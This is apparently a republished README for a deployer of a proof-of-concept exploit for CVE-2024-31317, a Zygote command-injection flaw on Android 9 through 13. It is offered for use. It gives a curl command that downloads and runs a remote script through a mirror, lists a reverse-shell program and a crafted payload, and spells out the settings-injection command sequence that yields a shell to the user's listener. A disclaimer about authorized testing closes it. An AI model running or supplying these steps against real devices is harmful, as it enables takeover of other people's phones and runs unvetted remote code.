CVE-2024-31317-PoC-Deployer

A deployment tool for CVE-2024-31317 proof-of-concept exploit targeting Android 9 through 13 devices.

📝 Project Description

CVE-2024-31317-PoC-Deployer is an automated deployment script for quickly generating and configuring all the files required for exploiting CVE-2024-31317. This vulnerability affects Android 9 through 13 devices, allowing privilege escalation and arbitrary code execution via the Zygote process.

🚨 Vulnerability Information

• CVE ID: CVE-2024-31317
• Affected Versions: Android 9 to Android 13
• Fixed Version: Android versions with June 2024 patch level and later
• Vulnerability Type: Zygote process command injection
• Required Permission: WRITE_SECURE_SETTINGS

📦 Included Files

• reverse_shell.c - C language reverse shell program
• payload.txt - Specially crafted exploit payload
• compile.sh - Automatic compilation script
• README.txt - Detailed usage instructions
• CVE-2024-31317.txt - Vulnerability technical analysis document

🛠️ Quick Start

1. Run the remote deployment script:

   root@kitploit:~

   pkg install -y curl ; bash -c "$(curl -L https://ghfast.top/https://github.com/Webldix/CVE-2024-31317-PoC-Deployer/blob/main/Android_Zygote_Research_Kit.sh)"
   

2. Compile the reverse shell:

   root@kitploit:~

   sh compile.sh
   

3. Run the reverse shell listener:

   root@kitploit:~

   sh reverse_shell
   

💣 Exploitation Steps

1. Upload payload.txt to /data/local/tmp/ on the target device
2. Replace xxx.xxx.xxx in payload.txt with your listener server IP
3. Execute the following command sequence on the target device:
   root@kitploit:~

   am force-stop com.android.settings
   cd /data/local/tmp/
   settings put global hidden_api_blacklist_exemptions "$(cat payload.txt)"
   am start -n com.android.settings/.Settings
   settings put global hidden_api_blacklist_exemptions "null"
   

⚠️ Disclaimer

This tool is intended solely for legitimate security testing and research purposes. Explicit authorization from the target system must be obtained before use. Unauthorized use may violate the law. The developer is not responsible for any misuse.

📜 License

This project is licensed under the MIT License - see the LICENSE file for details.

📚 Technical References

• Android Security Bulletin - June 2024
• CVE-2024-31317 Details